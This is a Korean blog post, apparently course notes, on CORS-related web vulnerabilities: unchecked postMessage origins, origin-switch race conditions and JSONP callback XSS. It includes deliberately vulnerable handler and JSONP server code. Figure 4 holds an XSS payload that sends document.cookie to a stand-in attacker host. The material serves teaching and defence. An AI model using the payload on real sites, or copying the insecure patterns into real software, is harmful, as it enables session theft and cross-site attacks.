1. 서론
CORS는
SOP 보안 정책을 우회하여 Cross Origin간
자원을 공유하기 위한 방법이다.
(postMessage, JSONP, 및 CORS 정책 기술 도입)
SOP를 우회하기 위해 설계된 만큼
CORS는 잘못 사용될 경우
사이트 간 공격이 가능해지는 취약점이 발생할 수 있다.
CORS 기술의 사용에 있어
발생할 수 있는 취약점의 종류
1-1 현재 사이트에서 다른 사이트로 정보 유출 (기밀성)
CORS는
모든 정보를 공개하는 Open API뿐만 아니라
특정 대상에게만 자원을 공유하고자 하는
사이트에서도 사용될 수 있다.
다른 사이트로부터 CORS 요청을 받을 때
Origin에 대한 검사가 진행되지 않고 응답하거나
Origin에 대한 제약이 없는 경우
사용자의 신원 등 민감한 정보가
다른 사이트에 노출될 수 있다.
1-2 다른 사이트에서 현재 사이트 변조 (무결성)
CORS 요청의 Origin이
신뢰할 수 있는 출처인지 확인 또는
제한하지 않거나 CORS 응답을 그대로 사용할 경우
XSS 등 보안 문제가 발생할 수 있다.
CORS 기술을 도입할 때
어떤 사이트를 얼마나 신뢰하느냐가 결정되어야 하며,
XSS 필터 등 신뢰하지 않는 입력에 대한
방어 또한 병행되어야 한다.
2. postMessage 취약점
2-1 Window.postMessage API
SOP로 인해
서로 다른 오리진들은 직접적으로
리소스를 공유하지 못하는 문제를 해결하기 위해
서로 다른 Origin 간에
메시지를 주고받을 수 있는
API가 고안되었다.
메시지를 전송할 때에는
대상 윈도우의 postMessage 메소드를 호출하며,
수신하는 윈도우는 message 전역 이벤트를 청취하여
메시지를 받을 수 있다.
targetWindow.postMessage(message, targetOrigin[, transfer])
변수 | 설명 |
targetWindow | 메시지를 보낼 대상 Window |
message | 메시지 객체 (함수, DOM 객체 등은 보낼 수 없음) |
targetOrigin | 메시지 송신 시점에 targetWindow의 Origin이 targetOrigin과 일치하여야 함. targetOrigin에 "*"을 지정하면 Origin 검사가 이루어지지 않음. |
transfer | (선택사항) ArrayBuffer나 canvas context 등 소유권을 전이할 객체의 배열을 지정. |
MessageEvent
고유 속성 | 설명 |
origin | 메세지를 송신한 Origin 반환 |
source | 메시지를 송신한 Window 객체 반환 |
data | 복사된 메시지 객체 또는 값 반환 |
Figure 1. 메시지 송수신 예시
// 메시지 송신
targetWindow.postMessage(message, targetOrigin);
// 메시지 수신
window.onmessage = function (e) {
if (e.origin === 'https://dreamhack.io') {
console.log(e.data);
e.source.postMessage('Hello, world!', e.origin);
}
}
postMessage를 통해
message로 문자열뿐만 아니라
객체 또한 주고받을 수 있으나,
보안을 위해 함수 (객체 메소드 포함), DOM 노드 (요소 등) 객체,
프로토타입 및 get/set 속성 정보는 보낼 수 없다.
또한,
전송되는 모든 객체는 복사되므로
송신 후 객체를 변경하여도
수신하는 윈도에서는
변경 내용을 볼 수 없다.
2-2 Origin 미확인 실습 예제
Window.postMessage 사용 시
Origin을 명확히 지정 및 검사해야 한다.
특정 윈도우는
모든 Origin에서 오는 메시지를 수신할 수 있는데,
이때 message 이벤트 핸들러에서
origin 속성을 검사하지 않고
메시지의 내용을 신뢰하면
보안 문제가 발생할 수 있다.
Figure 2. 부모 윈도우 코드 일부
// https://dreamhack.io
window.onmessage = function (e) {
var dialog = document.getElementById('my-dialog');
if (dialog == null) {
dialog = document.createElement('dialog');
dialog.id = 'my-dialog';
document.body.appendChild(dialog);
}
dialog.setAttribute('open', '');
dialog.innerHTML = e.data; // Insert html
};
Figure 3. 의도된 프레임 윈도우 코드
// https://bob.dreamhack.io
parent.postMessage('<h1>안내</h1><p>작업이 완료되었습니다.</p>', 'https://dreamhack.io');
Figure 4. 공격자 프레임 윈도우 코드
// https://attacker.test
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');
프레임 내 하위 윈도우에서
부모 윈도우로 postMessage를 보내는 예제이다.
부모 윈도우에서 수신한 message의 data를
innerHTML로 넣는 것을 볼 수 있다.
이 때 부모 윈도우에서
postMessage의 Origin을 확인하지 않아
공격자의 Origin에서
임의 HTML을 삽입할 수 있다.
2-3 Origin 전환 경합 조건
postMessage를 사용할 때
메시지를 보내는 대상이
웹 문서가 아닌 창 (윈도우)라는 것을
기억해야 한다.
웹 문서는 일반적으로
출처가 고정되어 있는 반면,
창의 경우에는
사용자가 하이퍼링크를 방문하건
스크립트가 다른 문서로 리다이렉트시켜
Origin이 변경될 수 있다.
postMessage의 두 번째 매개변수인
targetOrigin에 대상 Origin 문자열을 명시하면
이 문제를 해결할 수 있다
메시지 송신 시점에서
Origin을 검사하여
일치하지 않는 경우
송신을 거부한다.
반면,
"*"를 지정하는 것은
postMessage의 Origin이 무엇이든지 상관없이
메시지가 보내지므로 권장하지 않는다.
공격 시나리오
- Parent Window에서 Child Window 생성
- Child Window가 Parent Window한테 postMessage로 메세지 및 비밀 값 전송
- Parent Window가 공격자의 다른 웹 사이트로 리다이렉트
- Child Window는 여전히 Parent Window에게 메시지 및 비밀 값 전송
- 공격자 사이트가 Child Window가 보내주는 메시지 수신
3. JSONP 취약점
JSONP는
JSON with Padding의 줄임말로,
CORS 기술이 도입되기 전
SOP를 우회하기 위해 사용된 방식이다.
<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">
3-1 예제
클라이언트 측
<!DOCTYPE html>
<html lang="ko">
<head>
<title>JSONP Sample Code</title>
<meta charset="utf-8">
<script type="text/javascript">
function find()
{
var j = document.createElement('script');
var s = encodeURIComponent(document.getElementById('str').value);
var u = 'http://b.epiloum.net/find.php?callback=loadList&s=' + s;
j.setAttribute('src', u);
j.setAttribute('type', 'text/javascript');
document.getElementsByTagName('body')[0].appendChild(j);
return false;
}
function loadList(arr)
{
var o = document.getElementById('list');
var l;
while(o.childNodes.length)
{
o.removeChild(o.lastChild);
}
for(var i=0; i<arr.length; i++)
{
l = document.createElement('li');
l.appendChild(document.createTextNode(arr[i]));
o.appendChild(l);
}
}
</script>
</head>
<body>
<input id="str" type="text" size="50" />
<input id="btn" type="button" value="입력" onclick="return find()" />
<ul id="list"></ul>
</body>
</html>
텍스트 입력란과 버튼이 표시된 화면,
텍스트 입력란에 입력 값 입력 후
버튼을 누르면 find() 함수 호출
find() 함수는
<script> 요소를 생성하여
<body> 요소 아래에 추가
서버 측
<?
// Send HTTP Header
header('Content-Type:application/javascript');
// Connect to DB
$dbi = mysql_connect('localhost', '****', '****');
mysql_select_db('****', $dbi);
mysql_query('SET NAMES utf8', $dbi);
// DB Search
$sql = 'SELECT name FROM member WHERE ';
$sql .= 'name LIKE "%' . mysql_real_escape_string($_GET['s']) . '%"';
$res = mysql_query($sql, $dbi);
$dat = array();
while($v = mysql_fetch_assoc($res))
{
$dat[] = $v['name'];
}
// Output
echo $_GET['callback'] . '(' . json_encode($dat) . ')';
?>
"member" 테이블에서
"name" 필드에 검색어가 포함된 레코드를
LIKE문을 이용해 검색한다.
검색어는 GET 파라미터 s를 통해
입력받는다.
주목할 곳은 검색 결과를 출력하는 부분이다.
GET 파라미터 callback을 통해 전달받은
이름의 함수를 호출하는 자바스크립트 코드를 출력한다.
그 함수의 인자로 회원명부에서 검색한
결과를 담은 배열이 들어간다.
코드 실행 결과는
검색 웹 페이지에서 "john"을 입력하고 버튼을 클릭하면,
다음과 같은 <script> 요소가 생성된다.
<script src=”http://b.epiloum.net/find.php?callback=loadList&s=john”></script>
이렇게 호출된 find.php 파일은
callback 파라미터로 전달받은
loadlist() 함수를 실행하는 스크립트를 출력한다.
loadList([“John Miller”,”John C. Potter”])
loadlist() 함수가 실행되면,
화면에 <ul id="list"> 요소 아래에
John이라는 단어로 검색한 결과가
목록으로 출력된다.
3-2 콜백 함수명 검증 부재로 인한 제공자 XSS
JSONP API 대다수는
사용자가 콜백 함수명을 직접 지정할 수 있도록 한다.
만일 콜백명에 HTML 코드 등을 삽입한다면
브라우저는 이를 HTML으로 인식할 수 있고
XSS 취약점이 발생하게 된다.
콜백 HTML 삽입을 막기 위해서는
콜백명에 필터를 적용해야 한다.
추가적으로 JSONP 요청을 처리할 때
HTTP Accept 헤더에
text/javascript MIME 타입이 포함되어 있는지 검사하고,
Content-Type: text/javascript 설정 및
X-Content-Type-Options: nosniff 헤더로
응답이 자바스크립트가 아닌
다른 콘텐츠로 인식되는 경우를
방지해야 한다.
3-3 JSONP API 침해 사고 발생 시 이용자 XSS
JSONP는 API 제공자의 코드를
그대로 사용자의 웹 문서에서 실행한다.
만약 JSONP API가 침해 사고를 당해
악의적인 응답이 돌아온다면
이를 이용하는 모든 사이트는
XSS 공격에 노출된다.
이는 JSONP의 가장 큰 단점으로,
CSP를 사용하고 JSNOP를 제공하는 웹 서비스를
신뢰하는 것 외에는 별다른 방법이 없다.
이는 JSONP 사용을 피하고
CORS 정책 헤더를 대신 사용하여야 하는 이유이다.
CORS는 생겨난 목적 자체가
SOP를 우회하여 자원을 공유하기 위함이기 때문에
신중하게 정책을 세우고 사용해야 한다.
4. Quiz
D - postMessage는 서버로 전달되지 않는다.
'드림핵 - WHA(Client Side)' 카테고리의 다른 글
CSS Injection (0) | 2023.04.18 |
---|---|
Client Side Template Injection (0) | 2023.04.18 |
CSRF Token 오용 (0) | 2023.04.17 |
CSP Bypass (0) | 2023.04.13 |
Content Security Policy (0) | 2023.04.13 |